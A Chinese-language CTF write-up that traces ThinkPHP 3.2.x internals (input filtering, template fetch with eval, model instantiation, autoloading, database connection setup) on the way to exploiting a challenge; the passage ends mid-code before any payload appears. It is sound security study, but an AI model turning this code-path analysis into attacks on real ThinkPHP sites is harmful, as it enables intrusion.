前言

起初,师傅发了我一个题目,我分析了好久也没分析出来,便搁置了很久,在前不久又搬出来分析了,于是便有了这篇文章,这个题目的框架是thinkphp3.2.x的源码,然后在入口处自己添加了一些东西,所以分析起来比较麻烦,所以我把整个分析和利用过程都写出来了,也是花了一个月,然后这里是站库分离的,所以打起来比较麻烦,不能用sql来直接读

分析

入口IndexController,class,php

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        $cid = I('cid', 0,'intval');
        if($cid == 0) $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #b80202;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        else {
            $this->page($cid);
        }
    }
    public function page($cid = 0){
        if($cid == 0) $this->error('error');
        $content = M('Articles')->Field('content')->find($cid);
        $this->show(base64_encode($content['content']),'utf-8');
    }

}

(在路由处打了两个断点):
IndexController.class.php -> function Index() -> 调用 I 方法 I

I ('cid',0,'intval');

function I()

/**
 * 获取输入参数 支持过滤和默认值
 * 使用方法:
 * <code>
 * I('id',0); 获取id参数 自动判断get或者post
 * I('post.name','','htmlspecialchars'); 获取$_POST['name']
 * I('get.'); 获取$_GET
 * </code>
 * @param string $name 变量的名称 支持指定类型
 * @param mixed $default 不存在的时候默认值
 * @param mixed $filter 参数过滤方法
 * @param mixed $datas 要获取的额外数据源
 * @return mixed
 */
function I($name, $default = '', $filter = null, $datas = null)
{
    static $_PUT = null;
    if (strpos($name, '/'))         // 指定修饰符
        list($name, $type) = explode('/', $name, 2);
    } elseif (C('VAR_AUTO_STRING')) {
        // 默认强制转换为字符串
        $type = 's';
    }
    if (strpos($name, '.')) {
        // 指定参数来源
        list($method, $name) = explode('.', $name, 2);
    } else {
        // 默认为自动判断
        $method = 'param';
    }
    switch (strtolower($method)) {
        case 'get':
            $input = &$_GET;
            break;
        case 'post':
            $input = &$_POST;
            break;
        case 'put':
            if (is_null($_PUT)) {
                parse_str(file_get_contents('php://input'), $_PUT);
            }
            $input = $_PUT;
            break;
        case 'param':
            switch ($_SERVER['REQUEST_METHOD']) {
            case 'POST':
                    $input = $_POST;
                    break;
            case 'PUT':
                    if (is_null($_PUT)) {
                        parse_str(file_get_contents('php://input'), $_PUT);
                    }
                    $input = $_PUT;
                    break;
            default:
                    $input = $_GET;
            }
            break;
        case 'path':
            $input = array();
            if (!empty($_SERVER['PATH_INFO'])) {
                $depr  = C('URL_PATHINFO_DEPR');
                $input = explode($depr, trim($_SERVER['PATH_INFO'], $depr));
            }
            break;
        case 'request':
            $input = &$_REQUEST;
            break;
        case 'session':
            $input = &$_SESSION;
            break;
        case 'cookie':
            $input = &$_COOKIE;
            break;
        case 'server':
            $input = &$_SERVER;
            break;
        case 'globals':
            $input = &$GLOBALS;
            break;
        case 'data':
            $input = &$datas;
            break;
        default:
            return null;
    }
    if ('' == $name) {
        // 获取全部变量
        $data    = $input;   
        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
        if ($filters) {
            if (is_string($filters)) {
                $filters = explode(',', $filters);
            }
            foreach ($filters as $filter) {
                $data = array_map_recursive($filter, $data); // 参数过滤
            }
        }
    } elseif (isset($input[$name])) {
        // 取值操作
        $data    = $input[$name];
        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
        if ($filters) {
            if (is_string($filters)) {
                if (0 === strpos($filters, '/')) {
                    if (1 !== preg_match($filters, (string) $data)) {
                        // 支持正则验证
                        return isset($default) ? $default : null;
                    }
                } else {
                    $filters = explode(',', $filters);
                }
            } elseif (is_int($filters)) {
                $filters = array($filters);
            }

            if (is_array($filters)) {
                foreach ($filters as $filter) {
                    if (function_exists($filter)) {
                        $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
                    } else {
                        $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
                        if (false === $data) {
                            return isset($default) ? $default : null;
                        }
                    }
                }
            }
        }
        if (!empty($type)) {
            switch (strtolower($type)) {
                case 'a':    // 数组
                    $data = (array) $data;
                    break;
                case 'd':    // 数字
                    $data = (int) $data;
                    break;
                case 'f':    // 浮点
                    $data = (float) $data;
                    break;
                case 'b':    // 布尔
                    $data = (boolean) $data;
                    break;
                case 's':// 字符串
                default:
                    $data = (string) $data;
            }
        }
    } else {
        // 变量默认值
        $data = isset($default) ? $default : null;
    }
    is_array($data) && array_walk_recursive($data, 'think_filter');
    return $data;
}

可以看见传入的值$\name=\$cid, default=0,datas=null
我们把值带进去走一遍
首先,cid传入后先进行了一个判断

if (strpos($name, '/'))

strpos函数就是一个字符串函数
用法:

strpos(string $haystack, string $needle, int $offset = 0): int|false

string haystack是被查找的字符串,string needle 是需要查找的字符串
所以在这里面就是在$name里面查找/返回索引值,若没找到那就是返回false

所以这里传参进去,这里返回的会是false因为$name = cid不带有 /
所以这里直接跳到elseif处


可以省略不看
看到这里了索性就去看了下explod()函数和list函数:

list($name, $type) = explode('/', $name, 2);

前面的strpos将$name中的\检测出来,若存在则将\$name中的\分离出来,并且最大分离为2


跟进下面,若传入的name没有分割符,则直接跳到Function C

Function C()

/**  
* 获取和设置配置参数 支持批量定义  
* @param string|array $name 配置变量  
* @param mixed $value 配置值  
* @param mixed $default 默认值  
* @return mixed  
*/  
function C($name = null, $value = null, $default = null)  
{  
static $_config = array();  
// 无参数时获取所有  
if (empty($name)) {  
return $_config;  
}  
// 优先执行设置获取或赋值  
if (is_string($name)) {  
if (!strpos($name, '.')) {  
$name = strtoupper($name);  
if (is_null($value)) {  
return isset($_config[$name]) ? $_config[$name] : $default;  
}  

$_config[$name] = $value;  
return null;  
}  
// 二维数组设置和获取支持  
$name = explode('.', $name);  
$name[0] = strtoupper($name[0]);  
if (is_null($value)) {  
return isset($_config[$name[0]][$name[1]]) ? $_config[$name[0]][$name[1]] : $default;  
}  

$_config[$name[0]][$name[1]] = $value;  
return null;  
}  
// 批量设置  
if (is_array($name)) {  
$_config = array_merge($_config, array_change_key_case($name, CASE_UPPER));  
return null;  
}  
return null; // 避免非法参数  
}

首先看见function c中有三个参数需要传入分别为:$name、$value、default

VAR_AUTO_STRING将$name强制转化为string类型,
第一个if判断
传入(string)cid,- > 判断是否为字符串 - >如果没有.号 - > 利用strtoupper函数将\$name 转化为大写,
第二个if
判断value值是否为null,因为前面没有传递value,所以根据函数定义默认为null,所以返回ture,所以就到 - >return isset(\$_config[\$name]) \? \$_config[\$name] : \$default; 三元运算符,
这里var_dump了一下发现是没有CID这个键值的所以最后将CID的键值赋值为null了。

因为这里强制转换了字符串所以就不会触发二维数组的设置了,然后就到批量设置
若$name是数组,则利用array_change_key_case函数将name所有的键值转化为大写,然后讲这些内容合并到\$_config里面,
若不是数组则直接执行return null;

然后回到function I()里面继续走
这里把 #type = 's'了

然后到后面的if判断,因为传入的name是cid没有带.号所以直接跳到else后面
直接把 #method设置为'param' 默认为自动判断类型

然后后面的switch对请求方法进行了判断也就是判断请求方式是什么
然后这里有个特殊的点,当param='put'时

parse_str(file_get_contents('php://input'), $_PUT);

首先是file_get_contents函数读取来自php的输入流,然后通过parse_str()函数将查询字符串解析为变量,然后存在$_PUT数组中

但是这里因为method直接默认为paramter
所以直接跳入 param 的 case,这里先让它默认判断为get

这里debug了一下分为两个过程

1、如果不传值 -> is_array(\$data) &\& array_walk_recursive($data, 'think_filter');
2、如果传入值 cid=1

elseif (isset($input[$name])) { 
        // 取值操作
        $data    = $input[$name];  // $name:"cid"  $input:{cid => "1"}["1"]
        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER'); //$filter: "intval"
        if ($filters) {
            if (is_string($filters)) {
                if (0 === strpos($filters, '/')) { $filter: "intval"
                    if (1 !== preg_match($filters, (string) $data)) {
                        // 支持正则验证
                        return isset($default) ? $default : null;
                    }
                } else {
                    $filters = explode(',', $filters);
                }
            } elseif (is_int($filters)) {
                $filters = array($filters);
            }

            if (is_array($filters)) {
                foreach ($filters as $filter) {
                    if (function_exists($filter)) {
                        $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
                    } else {
                        $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
                        if (false === $data) {
                            return isset($default) ? $default : null;
                        }
                    }
                }
            }
        }
        if (!empty($type)) {
            switch (strtolower($type)) {
                case 'a':    // 数组
                    $data = (array) $data;
                    break;
                case 'd':    // 数字
                    $data = (int) $data;
                    break;
                case 'f':    // 浮点
                    $data = (float) $data;
                    break;
                case 'b':    // 布尔
                    $data = (boolean) $data;
                    break;
                case 's':// 字符串
                default:
                    $data = (string) $data;
            }
        }
    }

做了 #filter= intval 的过滤,也就是只能传入整数型数字
跳到对于filter的判断,$filter中没有/所以不会跳入preg_matc进行正则,

继续跟进:

if (is_array($filters)) //$filter: {"intval"}["intval"]

判断完成后,遍历filter的值(这里var_dump了一下,只有

array(1) {[0] = > string(6)"intval"}

filter函数存在
并且debug发现data的值为1不为数组,所以进入三元运算

function array_map_recurisive()

这里的array_map_recurisive()函数为:

function array_map_recursive($filter, $data)
{
    $result = array();
    foreach ($data as $key => $val) {
        $result[$key] = is_array($val)
        ? array_map_recursive($filter, $val)
        : call_user_func($filter, $val);
    }
    return $result;
}
  • 这个函数有两个参数: $filter和 $data。 $filer是一个回调函数,用于处理数组中的每个元素;\$data则是需要处理的多维数组。
  • 函数先创建了一个$result变量来存储处理后的结果。
  • 然后,通过'foreach'循环遍历输入的$data数组,对于数组中的每个元素执行以下操作:
    • 如果当前遍历到的元素$val是一个数组返回true,那么就会对这个子数组递归调用array\_map\_recurisive函数,并且将字数组的每个元素传递给$filter处理。
    • 如果遍历到的元素不是数组,那么就将这个元素传递给filter进行处理。
  • 最后传回result里面。

最后到

is_array(\$data) \&& array_walk_recursive($data, 'think_filter');

显而易见,这里返回的是false

最后返回$data = 1;
到这里,整个I函数的数据流就分析完了

前面的I函数就走完了,接下来就是

if($cid == 0) $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #b80202;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        else {
            $this->page($cid);
    }

先传一个cid = 0;开始跟进

大概流程: -> show()->view->display()->G();->listen()->fetch()->getThemePath->getTemplateTheme->C();

function show()

protected function show($content, $charset = '', $contentType = '', $prefix = '')
    {
        $this->view->display('', $charset, $contentType, $content, $prefix);
    }

调用了view属性,找了一下继承的控制器Controller.class.php,发现到了这个属性

protected $view = null;

可以看到上面给show传递了\$content和\$charset
所以给display传值
再来看一下display函数如何定义的

function display()

public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '')
    {
        G('viewStartTime');
        // 视图开始标签
        Hook::listen('view_begin', $templateFile);
        // 解析并获取模板内容
        $content = $this->fetch($templateFile, $content, $prefix);
        // 输出模板内容
        $this->render($content, $charset, $contentType);
        // 视图结束标签
        Hook::listen('view_end');
    }

跟进到G函数

function G()

/**
 * 记录和统计时间(微秒)和内存使用情况
 * 使用方法:
 * <code>
 * G('begin'); // 记录开始标记位
 * // ... 区间运行代码
 * G('end'); // 记录结束标签位
 * echo G('begin','end',6); // 统计区间运行时间 精确到小数后6位
 * echo G('begin','end','m'); // 统计区间内存使用情况
 * 如果end标记位没有定义,则会自动以当前作为标记位
 * 其中统计内存使用需要 MEMORY_LIMIT_ON 常量为true才有效
 * </code>
 * @param string $start 开始标签
 * @param string $end 结束标签
 * @param integer|string $dec 小数位或者m
 * @return mixed
 */
function G($start, $end = '', $dec = 4)
{
    static $_info = array();
    static $_mem  = array();
    if (is_float($end)) {
        // 记录时间
        $_info[$start] = $end;
    } elseif (!empty($end)) {
        // 统计时间和内存使用
        if (!isset($_info[$end])) {
            $_info[$end] = microtime(true);
        }

        if (MEMORY_LIMIT_ON && 'm' == $dec) {
            if (!isset($_mem[$end])) {
                $_mem[$end] = memory_get_usage();
            }

            return number_format(($_mem[$end] - $_mem[$start]) / 1024);
        } else {
            return number_format(($_info[$end] - $_info[$start]), $dec);
        }

    } else {
        // 记录时间和内存使用
        $_info[$start] = microtime(true);
        if (MEMORY_LIMIT_ON) {
            $_mem[$start] = memory_get_usage();
        }

    }
    return null;
}

参数:

G(\$start='viewStartTime',\$end='', $dec = 4)

在$_info、$_mem_后面var_dump了一下,发现都是一些时间和内存的记录
因为end默认是string所以直接跳到

$_info[$start] = microtime(true);
        if (MEMORY_LIMIT_ON) {
            $_mem[$start] = memory_get_usage();
        }

根据前面注释可以知道,其实就是记录和统计时间(微秒)和内存使用情况
最后return了null所以就继续跟进

可以看到这里利用了一个Hook的机制(刚好不太懂所以就去顺便学习了一下)

Hook::listen('view_begin', $templateFile);

跟进去 - > listen函数

function listen()

public static function listen($tag, &$params = null)
    {
        if (isset(self::$tags[$tag])) {
            if (APP_DEBUG) {
                G($tag . 'Start');
                trace('[ ' . $tag . ' ] --START--', '', 'INFO');
            }
            foreach (self::$tags[$tag] as $name) {
                APP_DEBUG && G($name . '_start');
                $result = self::exec($name, $tag, $params);
                if (APP_DEBUG) {
                    G($name . '_end');
                    trace('Run ' . $name . ' [ RunTime:' . G($name . '_start', $name . '_end', 6) . 's ]', '', 'INFO');
                }
                if (false === $result) {
                    // 如果返回false 则中断插件执行
                    return;
                }
            }
            if (APP_DEBUG) {
                // 记录行为的执行日志
                trace('[ ' . $tag . ' ] --END-- [ RunTime:' . G($tag . 'Start', $tag . 'End', 6) . 's ]', '', 'INFO');
            }
        }
        return;
    }

这里view_begin不存在这个键,所以直接跳到ruturn
所以跟进到:

$content = $this->fetch($templateFile, $content, $prefix);

function fetch()

/**
     * 解析和获取模板内容 用于输出
     * @access public
     * @param string $templateFile 模板文件名
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀
     * @return string
     */
    public function fetch($templateFile = '', $content = '', $prefix = '')
    {
        if (empty($content)) {
            $templateFile = $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if (!is_file($templateFile)) {
                E(L('_TEMPLATE_NOT_EXIST_') . ':' . $templateFile);
            }

        } else {
            defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
            // 使用PHP原生模板
            $_content = $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content) ? include $templateFile : eval('?>' . $_content);
        } else {
            // 视图解析标签
            $params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);
            Hook::listen('view_parse', $params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter', $content);
        // 输出模板文件
        return $content;
    }

1、content不为空->

defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());

因为跟进后发现进入了getThemePath函数,所以可以判断‘THEME_PATH’没有被定义

function getThemePath()

/**  
 * 获取当前的模板路径  
 * @access protected  
 * @param  string $module 模块名  
 * @return string  
 */  
protected function getThemePath($module = MODULE_NAME)  
{  
    // 获取当前主题名称  
    $theme = $this->getTemplateTheme();  
    // 获取当前主题的模版路径  
    $tmplPath = C('VIEW_PATH'); // 模块设置独立的视图目录  
    if (!$tmplPath) {  
        // 定义TMPL_PATH 则改变全局的视图目录到模块之外  
        $tmplPath = defined('TMPL_PATH') ? TMPL_PATH . $module . '/' : APP_PATH . $module . '/' . C('DEFAULT_V_LAYER') . '/';  
    }  
    return $tmplPath . $theme;  
}

我们接下来跟进 function getThemePath - > getTemplateTheme();

function getTemplateTheme()

private function getTemplateTheme()
    {
        if ($this->theme) {
            // 指定模板主题
            $theme = $this->theme;
        } else {
            /* 获取模板主题名称 */
            $theme = C('DEFAULT_THEME');
            if (C('TMPL_DETECT_THEME')) {
// 自动侦测模板主题
                $t = C('VAR_TEMPLATE');
                if (isset($_GET[$t])) {
                    $theme = $_GET[$t];
                } elseif (cookie('think_template')) {
                    $theme = cookie('think_template');
                }
                if (!in_array($theme, explode(',', C('THEME_LIST')))) {
                    $theme = C('DEFAULT_THEME');
                }
                cookie('think_template', $theme, 864000);
            }
        }
        defined('THEME_NAME') || define('THEME_NAME', $theme); // 当前模板主题名称
        return $theme ? $theme . '/' : '';
    }

}

然后这个函数其实就是一直在调用C函数进行配置的读取,后面考虑到这里的参数都不可控,所以直接跳到后面的page路由了

这里就提一嘴:
如果在index路由进行传参会被intval过滤器进行过滤,所以我们直接对page路由进行传参就行了(虽然前面花了大部分时间分析,但是后面有调用到前面的函数就可以很好的去分析了)

page路由

public function page($cid = 0){
        if($cid == 0) $this->error('error');
        $content = M('Articles')->Field('content')->find($cid);
        $this->show(base64_encode($content['content']),'utf-8');
    }

避免抛出error所以我们直接传一个cid=1

function M()

/**
 * 实例化一个没有模型文件的Model
 * @param string $name Model名称 支持指定基础模型 例如 MongoModel:User
 * @param string $tablePrefix 表前缀
 * @param mixed $connection 数据库连接信息
 * @return Think\Model
 */
function M($name = '', $tablePrefix = '', $connection = '')
{
    static $_model = array();
    if (strpos($name, ':')) {
        list($class, $name) = explode(':', $name);
    } else {
        $class = 'Think\\Model';
    }
    $guid = (is_array($connection) ? implode('', $connection) : $connection) . $tablePrefix . $name . '_' . $class;
    if (!isset($_model[$guid])) {
        $_model[$guid] = new $class($name, $tablePrefix, $connection);
    }

    return $_model[$guid];
}

$name = 'Articles'

  • var_dump($_model)之后发现: array(0){ },也就是为空,用于存储已创建的模型实例。
  • 如果传入的$name参数中包含冒号,则使用explode进拆分为\$class和\$name两部分
  • 如果$name中不包含冒号,则默认$class= 'Think\\Model'; 表示使用tp的基础模型类
  • 根据传入的参数构建了一个用于唯一标识模型实例的$guid字符串
  • 检查$_model数组中是否已经存在对应的模型实例,如果不存在则创建一个新的模型实例并存储在$_model数组之中
  • 最后返回$guid的模型实例

跟进之后发现直接进入了autoload函数
这个地方有点不懂,所以问了一下gpt
gpt是这样解释的:

在PHP中,当使用`new $class`语法创建一个类的实例时,如果该类在当前命名空间或引入的命名空间中没有定义,PHP会调用自动加载类尝试加载此类文件

也就是自动加载Think\\Model这个类
跟进到

$_model[$guid] = new $class($name, $tablePrefix, $connection);

可以看到传参:
$guid:"Articles_Think|Model" $class:"Think\Model" $_model: array[0] $connection = " "
$tablePrefix: " " $name:"Articles"

function autoload()

* 类库自动加载
     * @param string $class 对象类名
     * @return void
     */
    public static function autoload($class)
    {
        // 检查是否存在映射
        if (isset(self::$_map[$class])) {
            include self::$_map[$class];
        } elseif (false !== strpos($class, '\\')) {
            $name = strstr($class, '\\', true);
            if (in_array($name, array('Think', 'Org', 'Behavior', 'Com', 'Vendor')) || is_dir(LIB_PATH . $name)) {
                // Library目录下面的命名空间自动定位
                $path = LIB_PATH;
            } else {
                // 检测自定义命名空间 否则就以模块为命名空间
                $namespace = C('AUTOLOAD_NAMESPACE');
                $path      = isset($namespace[$name]) ? dirname($namespace[$name]) . '/' : APP_PATH;
            }
            $filename = $path . str_replace('\\', '/', $class) . EXT;
            if (is_file($filename)) {
                // Win环境下面严格区分大小写
                if (IS_WIN && false === strpos(str_replace('/', '\\', realpath($filename)), $class . EXT)) {
                    return;
                }
                include $filename;
            }
        } elseif (!C('APP_USE_NAMESPACE')) {
            // 自动加载的类库层
            foreach (explode(',', C('APP_AUTOLOAD_LAYER')) as $layer) {
                if (substr($class, -strlen($layer)) == $layer) {
                    if (require_cache(MODULE_PATH . $layer . '/' . $class . EXT)) {
                        return;
                    }
                }
            }
            // 根据自动加载路径设置进行尝试搜索
            foreach (explode(',', C('APP_AUTOLOAD_PATH')) as $path) {
                if (import($path . '.' . $class))
                // 如果加载类成功则返回
                {
                    return;
                }

            }
        }
    }

代码逻辑:

  • 首先,检查是否存在类名到文件路径的映射关系。如果存在,直接包含该文件。
  • 如果类名包含命名空间\,则会根据命名空间的规则尝试定位类文件
    • 如果类名的空间属于Think、Org、Behavior、Com、Vendor或者这些命名空间在LIB_PATH目录下存在,则将此类文件路径设置为LIB_PATH
    • 否则,检查是否有自定义的命名空间配置,并根据配置的路径加载文件。
    • 如果以上步骤均未找到对应的类文件,将以当前模块为命名空间进行加载。
  • 如果未使用名空间(C('APP_USE_NAMESPACE')为false)
    • 根据配置的类库层(C('APP_AUTOLOAD_LAYER')) 尝试加载类文件
    • 尝试根据配置的自动加载路径(C('APP_AUTOLOAD_PATH'))进行加载
  • 最后,如果成功加载类文件,则返回,否则结束函数执行

我在autoload函数开头加了一个
echo "autoload函数被调用切值为" . $class;
并且在映射判断处加了一个
echo "映射存在";
最后得到的结果就是:
autoload被调用了12次,分别是:

Think\Storage
Think\Storage\Driver\File
Think\Log  //映射存在并且被包含
Behavior\ReadHtmlCacheBehavior
Home\Controller\IndexController
Think\Model //映射存在并且被包含
Think\Db  //映射存在并且被包含
Think\Db\Driver\Mysql
Think\Db\Driverfield
Behavior\WriteHtmlCacheBehavior
Behavior\ShowPageTraceBehavior
Think\Log\Driver\File  //映射存在并且被包含

经过了autoload之后就进入了Model.class.php的model类
所以自动调用到__construct函数

function __construct()

public function __construct($name = '', $tablePrefix = '', $connection = '')
    {
        // 模型初始化
        $this->_initialize();
        // 获取模型名称
        if (!empty($name)) {
            if (strpos($name, '.')) {
                // 支持 数据库名.模型名的 定义
                list($this->dbName, $this->name) = explode('.', $name);
            } else {
                $this->name = $name;
            }
        } elseif (empty($this->name)) {
            $this->name = $this->getModelName();
        }
        // 设置表前缀
        if (is_null($tablePrefix)) {
            // 前缀为Null表示没有前缀
            $this->tablePrefix = '';
        } elseif ('' != $tablePrefix) {
            $this->tablePrefix = $tablePrefix;
        } elseif (!isset($this->tablePrefix)) {
            $this->tablePrefix = C('DB_PREFIX');
        }

        // 数据库初始化操作
        // 获取数据库操作对象
        // 当前模型有独立的数据库连接信息
        $this->db(0, empty($this->connection) ? $connection : $this->connection, true);
    }

先进入 __initialize进行初始化

function _initialize()

// 回调方法 初始化模型
    protected function _initialize()
    {}

传参:
$name : string(8) "Articles" ,\$tablePrefix: string(0) "", \$connection :string(0) ""
逻辑:

  • 设置模型的名称:
    • 根据传入的$name参数设置模型的名称,
    • 如传入的模型中包含.,则按照数据库名.模型名的格式解析出数据库名和模型名。
    • 如果传入的模型名或者未在构造函数中设置模型名称,则使用getModelNmae()方法获取模型名称.
  • 设置表前缀:
    • 如果传入的$tablePrefix参数为null,则表示没有表前缀。
    • 如果$tablePrefix不为空字符串,则表前缀设置为传入的值。
    • 如果未设置$tablePrefix且模型实例中未定义表前缀,则使用配置文件中的DB_PREFIX设置为表前缀。
  • 数据库初始化操作:
    • 调用了db()方法,获取数据库操作对象。
    • 如果当前模型有独立的数据库连接信息,则使用独立连接的信息,否则使用构造函数传入的链接信息。
    • 最后一个true,表示强制重新连接数据库。

插一嘴(表前缀是什么?): (Table Prefix)是指在数据库中表明前添加的一个固定的字符或字符串,通常用于区分不同应用或模块所创建的表,以避免不同应用或者模块之间的表名冲突。

跟进之后,模型的名称就为Articles、表前缀为null,接下来就走到db()方法

function db()

/**
     * 切换当前的数据库连接
     * @access public
     * @param integer $linkNum  连接序号
     * @param mixed $config  数据库连接信息
     * @param boolean $force 强制重新连接
     * @return Model
     */
    public function db($linkNum = '', $config = '', $force = false)
    {
        if ('' === $linkNum && $this->db) {
            return $this->db;
        }

        if (!isset($this->_db[$linkNum]) || $force) {
            // 创建一个新的实例
            if (!empty($config) && is_string($config) && false === strpos($config, '/')) {
                // 支持读取配置参数
                $config = C($config);
            }
            $this->_db[$linkNum] = Db::getInstance($config);
        } elseif (null === $config) {
            $this->_db[$linkNum]->close(); // 关闭数据库连接
            unset($this->_db[$linkNum]);
            return;
        }

        // 切换数据库连接
        $this->db = $this->_db[$linkNum];
        $this->_after_db();
        // 字段检测
        if (!empty($this->name) && $this->autoCheckFields) {
            $this->_checkTableInfo();
        }

        return $this;
    }

逻辑:

  • 如果未传入连接编号#$linkNum并且当前模型对象已经存在数据库连接对象$this->db,则直接返回已存在的数据库连接对象
  • 如果未创建对应连接编号的数据库对象或者设置了强制创建实例($force为true),则根据传入的配置信息$config创建一个新的数据库连接实例,并存储在_db数组中
  • 如果传入了null作为$config的参数,则关闭对应连接编号的数据库连接,并将该连接从_db数组中移除。
  • 将当前数据库连接对象,设为刚创建或者已经存在的连接对象。
  • 在数据库切换后,如果设置了模型名称并且使用了自动字段检测($this->autoCheckFields = true)则执行_checkTableInfo()方法进行字段检查
  • 最后,返回当前模型对象本身,以便进行链式操作

dump了一下this(单纯想看一下有什么):

class Think\Model#7 (21) { protected $db => NULL private $_db => array(0) { } protected $pk => string(2) "id" protected $autoinc => bool(false) protected $tablePrefix => string(0) "" protected $name => string(8) "Articles" protected $dbName => string(0) "" protected $connection => string(0) "" protected $tableName => string(0) "" protected $trueTableName => string(0) "" protected $error => string(0) "" protected $fields => array(0) { } protected $data => array(0) { } protected $options => array(0) { } protected $_validate => array(0) { } protected $_auto => array(0) { } protected $_map => array(0) { } protected $_scope => array(0) { } protected $autoCheckFields => bool(true) protected $patchValidate => bool(false) protected $methods => array(14) { [0] => string(6) "strict" [1] => string(5) "order" [2] => string(5) "alias" [3] => string(6) "having" [4] => string(5) "group" [5] => string(4) "lock" [6] => string(8) "distinct" [7] => string(4) "auto" [8] => string(6) "filter" [9] => string(8) "validate" [10] => string(6) "result" [11] => string(5) "token" [12] => string(5) "index" [13] => string(5) "force" } }

db方法后面静态调用了getInstance,因为要加载一个类,所以自动会跳到前面分析过得autoload方法

* 类库自动加载
     * @param string $class 对象类名
     * @return void
     */
    public static function autoload($class)
    {
        // 检查是否存在映射
        if (isset(self::$_map[$class])) {
            include self::$_map[$class];
        } elseif (false !== strpos($class, '\\')) {
            $name = strstr($class, '\\', true);
            if (in_array($name, array('Think', 'Org', 'Behavior', 'Com', 'Vendor')) || is_dir(LIB_PATH . $name)) {
                // Library目录下面的命名空间自动定位
                $path = LIB_PATH;
            } else {
                // 检测自定义命名空间 否则就以模块为命名空间
                $namespace = C('AUTOLOAD_NAMESPACE');
                $path      = isset($namespace[$name]) ? dirname($namespace[$name]) . '/' : APP_PATH;
            }
            $filename = $path . str_replace('\\', '/', $class) . EXT;
            if (is_file($filename)) {
                // Win环境下面严格区分大小写
                if (IS_WIN && false === strpos(str_replace('/', '\\', realpath($filename)), $class . EXT)) {
                    return;
                }
                include $filename;
            }
        } elseif (!C('APP_USE_NAMESPACE')) {
            // 自动加载的类库层
            foreach (explode(',', C('APP_AUTOLOAD_LAYER')) as $layer) {
                if (substr($class, -strlen($layer)) == $layer) {
                    if (require_cache(MODULE_PATH . $layer . '/' . $class . EXT)) {
                        return;
                    }
                }
            }
            // 根据自动加载路径设置进行尝试搜索
            foreach (explode(',', C('APP_AUTOLOAD_PATH')) as $path) {
                if (import($path . '.' . $class))
                // 如果加载类成功则返回
                {
                    return;
                }

            }
        }
    }

自动加载完类后进入getInstance方法

function getInstance()

/**
     * 取得数据库类实例
     * @static
     * @access public
     * @param mixed $config 连接配置
     * @return Object 返回数据库驱动类
     */
    public static function getInstance($config = array())
    {
        $md5 = md5(serialize($config));
        if (!isset(self::$instance[$md5])) {
            // 解析连接参数 支持数组和字符串
            $options = self::parseConfig($config);
            // 兼容mysqli
            if ('mysqli' == $options['type']) {
                $options['type'] = 'mysql';
            }

            // 如果采用lite方式 仅支持原生SQL 包括query和execute方法
            $class = !empty($options['lite']) ? 'Think\Db\Lite' : 'Think\\Db\\Driver\\' . ucwords(strtolower($options['type']));
            if (class_exists($class)) {
                self::$instance[$md5] = new $class($options);
            } else {
                // 类没有定义
                E(L('_NO_DB_DRIVER_') . ': ' . $class);
            }
        }
        self::$_instance = self::$instance[$md5];
        return self::$_instance;
    }
  • 计算配置信息的MD5值作为连接实例的唯一标识,用于检查是否已经存在对应数据库连接实例
  • 如果尚未创建特定配置信息对应数据库连接实例,将解析给定的连接配置信息,并跟进配置信息选择相应的数据库驱动类。
  • 根据配置信息中指定的数据库类型,动态加载对应的数据库驱动类,这里有一个兼容的处理,如果数据库类型是mysqli,则会转化为mysql。
  • 如果对应的数据库驱动类存在,则创建一个新的数据库连接实例,并存储在静态数组self::$instance中。
  • 如果特定的数据库驱动类不存在,则会抛出一个异常,提示数据库驱动类未定义。
  • 最后返回创建的数据库连接实例
    跟进后得到的结果
    $md5:"14d71035552fef7c92e4b5c611232830"
    $config=" "
    

跟进到 parseConfig方法

function parseConfig()

/**
     * 数据库连接参数解析
     * @static
     * @access private
     * @param mixed $config
     * @return array
     */
    private static function parseConfig($config)
    {
        if (!empty($config)) {
            if (is_string($config)) {
                return self::parseDsn($config);
            }
            $config = array_change_key_case($config);
            $config = array(
                'type'        => $config['db_type'],
                'username'    => $config['db_user'],
                'password'    => $config['db_pwd'],
                'hostname'    => $config['db_host'],
                'hostport'    => $config['db_port'],
